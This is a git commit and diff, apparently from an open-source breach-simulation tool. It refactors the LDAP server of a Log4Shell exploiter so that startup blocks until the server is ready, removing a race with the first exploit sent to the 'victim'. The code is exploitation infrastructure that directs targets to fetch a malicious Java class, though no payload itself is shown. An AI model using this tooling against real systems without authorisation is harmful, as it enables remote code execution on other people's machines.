Agent: Refactor Log4Shell LDAP server to avoid race condition

A race condition existed between the time when the LDAP server was
instructed to start and the first exploit was sent to the victim.
Sometimes, the first exploit would be sent before the LDAP server
finished starting, resulting in failed exploitation.

To remedy this, the LDAPExploitServer.run() function now blocks until
the server has successfully started. Once the server has started,
LDAPExploitServer.run() returns. This allows the caller to have
confidence that the LDAP server is running after LDAPExploitServer.run()
returns and alleviates the need to sleep in order to avoid the race
condition.
This commit is contained in:
Mike Salvatore 2022-01-14 09:43:14 -05:00
parent d5e05d7885
commit c9e59bd266
2 changed files with 81 additions and 18 deletions

View File

@ -34,7 +34,6 @@ class Log4ShellExploiter(WebRCE):
_EXPLOITED_SERVICE = "Log4j" _EXPLOITED_SERVICE = "Log4j"
DOWNLOAD_TIMEOUT = 15 DOWNLOAD_TIMEOUT = 15
REQUEST_TO_VICTIM_TIME = 5 # How long the request from victim to monkey might take. In seconds REQUEST_TO_VICTIM_TIME = 5 # How long the request from victim to monkey might take. In seconds
LDAP_SERVER_INIT_DELAY = 5 # Time period that code halts waiting for ldap server to start
def __init__(self, host: VictimHost): def __init__(self, host: VictimHost):
super().__init__(host) super().__init__(host)
@ -45,7 +44,6 @@ class Log4ShellExploiter(WebRCE):
self.class_http_server_port = get_free_tcp_port() self.class_http_server_port = get_free_tcp_port()
self._ldap_server = None self._ldap_server = None
self._ldap_server_thread = None
self._exploit_class_http_server = None self._exploit_class_http_server = None
self._exploit_class_http_server_thread = None self._exploit_class_http_server_thread = None
self._agent_http_server_thread = None self._agent_http_server_thread = None
@ -106,14 +104,7 @@ class Log4ShellExploiter(WebRCE):
storage_dir=get_monkey_dir_path(), storage_dir=get_monkey_dir_path(),
) )
# Setting `daemon=True` to save ourselves some trouble when this is merged to the self._ldap_server.run()
# agent-refactor branch.
# TODO: Make a call to `create_daemon_thread()` instead of calling the `Thread()`
# constructor directly after merging to the agent-refactor branch.
self._ldap_server_thread = Thread(target=self._ldap_server.run, daemon=True)
self._ldap_server_thread.start()
logger.debug(f"Sleeping {Log4ShellExploiter.LDAP_SERVER_INIT_DELAY} seconds for ldap process to start")
sleep(Log4ShellExploiter.LDAP_SERVER_INIT_DELAY)
def _stop_servers(self): def _stop_servers(self):
logger.debug("Stopping all LDAP and HTTP Servers") logger.debug("Stopping all LDAP and HTTP Servers")
@ -123,8 +114,7 @@ class Log4ShellExploiter(WebRCE):
self._exploit_class_http_server.stop() self._exploit_class_http_server.stop()
self._exploit_class_http_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) self._exploit_class_http_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT)
self._ldap_server.stop() self._ldap_server.stop(Log4ShellExploiter.DOWNLOAD_TIMEOUT)
self._ldap_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT)
def _build_ldap_payload(self): def _build_ldap_payload(self):
interface_ip = get_interface_to_target(self.host.ip_addr) interface_ip = get_interface_to_target(self.host.ip_addr)

View File

@ -1,6 +1,9 @@
import logging import logging
import math
import multiprocessing import multiprocessing
import tempfile import tempfile
import threading
import time
from pathlib import Path from pathlib import Path
from ldaptor.interfaces import IConnectedLDAPEntry from ldaptor.interfaces import IConnectedLDAPEntry
@ -15,6 +18,11 @@ from twisted.python.components import registerAdapter
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
EXPLOIT_RDN = "dn=Exploit" EXPLOIT_RDN = "dn=Exploit"
REACTOR_START_TIMEOUT_SEC = 30.0
class LDAPServerStartError(Exception):
pass
class Tree: class Tree:
@ -67,6 +75,22 @@ class LDAPExploitServer:
def __init__( def __init__(
self, ldap_server_port: int, http_server_ip: str, http_server_port: int, storage_dir: Path self, ldap_server_port: int, http_server_ip: str, http_server_port: int, storage_dir: Path
): ):
"""
:param ldap_server_port: The port that the LDAP server will listen on.
:type ldap_server_port: int
:param http_server_ip: The IP address of the HTTP server that serves the malicious Log4Shell
Java class.
:type http_server_ip: str
:param http_server_port: The port the HTTP server is listening on.
:type ldap_server_port: int
:param storage_dir: A directory where the LDAP server can safely store files it needs during
runtime.
:type storage_dir: Path
"""
self._reactor_startup_completed = multiprocessing.Event()
self._ldap_server_port = ldap_server_port self._ldap_server_port = ldap_server_port
self._http_server_ip = http_server_ip self._http_server_ip = http_server_ip
self._http_server_port = http_server_port self._http_server_port = http_server_port
@ -81,14 +105,45 @@ class LDAPExploitServer:
) )
def run(self): def run(self):
"""
Runs the Log4Shell LDAP exploit server in a subprocess. This method attempts to start the
server and blocks until either the server has successfully started or it times out.
:raises LDAPServerStartError: Indicates there was a problem starting the LDAP server.
"""
logger.info("Starting LDAP exploit server")
self._server_process.start() self._server_process.start()
self._server_process.join() reactor_running = self._reactor_startup_completed.wait(REACTOR_START_TIMEOUT_SEC)
if not reactor_running:
raise LDAPServerStartError("An unknown error prevented the LDAP server from starting")
logger.debug("The LDAP exploit server has successfully started")
def _run_twisted_reactor(self): def _run_twisted_reactor(self):
self._configure_twisted_reactor()
logger.debug(f"Starting log4shell LDAP server on port {self._ldap_server_port}") logger.debug(f"Starting log4shell LDAP server on port {self._ldap_server_port}")
self._configure_twisted_reactor()
# Since the call to reactor.run() blocks, a separate thread is started to poll the value
# of `reactor.running` and set the self._reactor_startup_complete Event when the reactor
# is running. This allows the self.run() function to block until the reactor has
# successfully started.
threading.Thread(target=self._check_if_reactor_startup_completed, daemon=True).start()
reactor.run() reactor.run()
def _check_if_reactor_startup_completed(self):
check_interval_sec = 0.25
num_checks = math.ceil(REACTOR_START_TIMEOUT_SEC / check_interval_sec)
for _ in range(0, num_checks):
if reactor.running:
logger.debug("Twisted reactor startup completed")
self._reactor_startup_completed.set()
break
logger.debug("Twisted reactor has not yet started")
time.sleep(check_interval_sec)
def _configure_twisted_reactor(self): def _configure_twisted_reactor(self):
LDAPExploitServer._output_twisted_logs_to_python_logger() LDAPExploitServer._output_twisted_logs_to_python_logger()
@ -110,7 +165,25 @@ class LDAPExploitServer:
log_observer = log.PythonLoggingObserver() log_observer = log.PythonLoggingObserver()
log_observer.start() log_observer.start()
def stop(self): def stop(self, timeout: float = None):
# The Twisted reactor registers signal handlers so it can catch SIGTERM and gracefully """
# shutdown. Stops the LDAP server.
self._server_process.terminate()
:param timeout: A floating point number of seconds to wait for the server to stop. If this
argument is None (the default), the method blocks until the LDAP server
terminates. If `timeout` is a positive floating point number, this method
blocks for at most `timeout` seconds.
:type timeout: float
"""
if self._server_process.is_alive():
logger.debug("Stopping LDAP exploit server")
# The Twisted reactor registers signal handlers so it can catch SIGTERM and gracefully
# shutdown.
self._server_process.terminate()
self._server_process.join(timeout)
if self._server_process.is_alive():
logger.warning("Timed out while waiting for the LDAP exploit server to stop.")
else:
logger.debug("Successfully stopped the LDAP exploit server")